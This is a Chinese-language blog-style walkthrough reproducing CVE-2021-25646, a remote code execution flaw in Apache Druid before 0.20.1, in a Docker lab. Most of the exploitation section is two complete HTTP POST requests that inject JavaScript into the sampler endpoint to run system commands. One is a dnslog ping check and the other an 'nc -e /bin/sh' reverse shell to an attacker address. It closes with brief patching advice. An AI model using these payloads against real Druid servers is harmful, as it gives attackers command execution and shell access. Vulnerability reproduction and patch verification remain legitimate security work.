Apache Druid远程代码执行漏洞复现（CVE-2021-25646）

漏洞描述

Apache Druid 是用Java编写的面向列的开源分布式数据存储，旨在快速获取大量事件数据，并在数据之上提供低延迟查询分布式的、支持实时多维 OLAP 分析的数据处理系统。它既支持高速的数据实时摄入处理，也支持实时且灵活的多维数据分析查询。因此 Druid 最常用的场景就是大数据背景下、灵活快速的多维 OLAP 分析。

另外，Druid 还有一个关键的特点：
它支持根据时间戳对数据进行预聚合摄入和聚合分析，因此也有用户经常在有时序数据处理分析的场景中用到它。Apache Druid 默认情况下缺乏授权认证，攻击者可以发送特制请求，利用Druid服务器上进程的特权执行任意代码(CVE-2021-25646)
 

漏洞原理

https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw
 

影响范围

影响版本：Apache Druid < 0.20.1
 

漏洞复现

环境搭建（docker）druid-0.20.0

wget https://github.com/apache/druid/archive/druid-0.20.0.zip
unzip druid-0.20.0.zip
cd druid-0.20.0/distribution/docker
docker-compose up -d

访问8888端口：

点击Load data -> Local disk

依次填入
Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz

默认next，开启代理，抓包修改filter

漏洞验证（dnslog）

POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.191.128:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 998
Connection: close

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping -c 4 xxxx.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

漏洞利用（反弹shell）

由于是docker环境，没有bash，可以利用sh
发现有里面有nc，亦可使用nc -e反弹

POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.191.128:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1006
Connection: close

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.191.129 7777 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

修复建议

建议广大用户及时更新Apache Druid，下载链接为：
https://druid.apache.org/downloads.htmlhttps://github.com/apache/druid/releases/tag/druid-0.20.1
 
GOT IT！

 
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小实验小结，具体测试利用方式需根据具体实践场景~